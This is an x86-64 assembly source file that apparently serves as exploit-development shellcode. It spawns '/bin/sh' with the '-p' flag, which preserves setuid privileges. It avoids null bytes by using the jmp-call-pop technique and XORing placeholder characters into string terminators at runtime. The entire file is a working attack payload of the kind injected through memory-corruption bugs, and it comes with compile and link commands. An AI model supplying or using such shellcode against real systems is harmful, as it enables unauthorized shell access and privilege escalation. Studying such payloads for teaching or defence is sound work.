shell3_64.s

##
#  shell3_64.s - Executes "/bin/sh"
#     Compile and Link:
#        gcc -c shell3_64.s
#        ld -o shell3_64 shell3_64.o
.global _start
.text

_start:
    xor %rdi, %rdi
    push %rdi
    jmp shell_arg


system_call:
    mov (%rsp), %r8

    xor %r9, %r9
    mov $0x41, %r9b

    xor %r9b, 0x7(%r8)
    mov %r8, %rdi

    mov 0x8(%rsp), %r8
    xor %r9, 0x2(%r8)
    mov %rsp, %rsi

    xor %rdx, %rdx

    xor %rax, %rax
    mov $0x3b, %al

    syscall

shell:
    call system_call
    .ascii "/bin/shA"

shell_arg:
    call shell
    .ascii "-pA"